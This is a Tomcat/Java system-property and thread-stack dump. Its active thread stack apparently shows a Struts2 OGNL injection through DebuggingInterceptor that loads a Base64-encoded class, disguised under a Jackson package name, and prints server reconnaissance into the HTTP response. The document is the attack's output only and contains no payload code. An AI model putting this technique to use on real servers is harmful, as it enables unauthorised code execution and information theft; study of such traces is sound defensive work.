tomcat.util.buf.StringCache.byte.enabled: true
|
|
||||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
|
||||||
user.language: en
|
|
||||||
sun.boot.library.path: /opt/java/openjdk/lib/aarch64
|
|
||||||
jdk.tls.ephemeralDHKeySize: 2048
|
|
||||||
java.version: 1.8.0_402
|
|
||||||
java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
|
|
||||||
user.timezone: Etc/UTC
|
|
||||||
sun.arch.data.model: 64
|
|
||||||
java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
|
|
||||||
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
|
|
||||||
sun.cpu.isalist:
|
|
||||||
sun.jnu.encoding: UTF-8
|
|
||||||
file.encoding.pkg: sun.io
|
|
||||||
package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
|
|
||||||
file.separator: /
|
|
||||||
java.specification.name: Java Platform API Specification
|
|
||||||
java.class.version: 52.0
|
|
||||||
user.country: US
|
|
||||||
java.home: /opt/java/openjdk
|
|
||||||
java.vm.info: mixed mode
|
|
||||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
|
||||||
path.separator: :
|
|
||||||
java.vm.version: 25.402-b06
|
|
||||||
java.protocol.handler.pkgs: org.apache.catalina.webresources
|
|
||||||
java.awt.printerjob: sun.print.PSPrinterJob
|
|
||||||
sun.io.unicode.encoding: UnicodeLittle
|
|
||||||
java.specification.maintenance.version: 5
|
|
||||||
awt.toolkit: sun.awt.X11.XToolkit
|
|
||||||
package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
|
|
||||||
java.naming.factory.url.pkgs: org.apache.naming
|
|
||||||
user.home: /root
|
|
||||||
org.apache.catalina.security.SecurityListener.UMASK: 0027
|
|
||||||
java.specification.vendor: Oracle Corporation
|
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
|
|
||||||
java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
|
||||||
java.vendor.url: https://adoptium.net/
|
|
||||||
java.vm.vendor: Temurin
|
|
||||||
common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
|
|
||||||
java.runtime.name: OpenJDK Runtime Environment
|
|
||||||
sun.java.command: org.apache.catalina.startup.Bootstrap start
|
|
||||||
java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
|
|
||||||
java.vm.specification.name: Java Virtual Machine Specification
|
|
||||||
java.vm.specification.version: 1.8
|
|
||||||
catalina.home: /usr/local/tomcat
|
|
||||||
sun.cpu.endian: little
|
|
||||||
sun.os.patch.level: unknown
|
|
||||||
java.io.tmpdir: /usr/local/tomcat/temp
|
|
||||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
|
||||||
server.loader:
|
|
||||||
os.arch: aarch64
|
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
|
||||||
java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
|
|
||||||
user.dir: /usr/local/tomcat
|
|
||||||
line.separator:
|
|
||||||
|
|
||||||
java.vm.name: OpenJDK 64-Bit Server VM
|
|
||||||
ignore.endorsed.dirs:
|
|
||||||
file.encoding: UTF-8
|
|
||||||
java.specification.version: 1.8
|
|
||||||
|
|
||||||
===========================================
|
|
||||||
|
|
||||||
ThreadStacks:
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
|
|
||||||
"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
|
||||||
at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
|
||||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
|
|
||||||
at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
|
|
||||||
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
|
|
||||||
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
|
|
||||||
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
|
|
||||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
|
|
||||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
|
|
||||||
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
|
|
||||||
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
|
|
||||||
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
|
|
||||||
at ognl.SimpleNode.getValue(SimpleNode.java:258)
|
|
||||||
at ognl.Ognl.getValue(Ognl.java:537)
|
|
||||||
at ognl.Ognl.getValue(Ognl.java:501)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
|
|
||||||
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
|
|
||||||
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
|
|
||||||
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
|
|
||||||
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
|
|
||||||
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
|
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
|
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
|
|
||||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
|
|
||||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
|
|
||||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
|
|
||||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
|
|
||||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
|
|
||||||
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
|
|
||||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
|
|
||||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
|
|
||||||
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
|
|
||||||
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
|
|
||||||
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
|
|
||||||
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
|
|
||||||
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
|
|
||||||
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
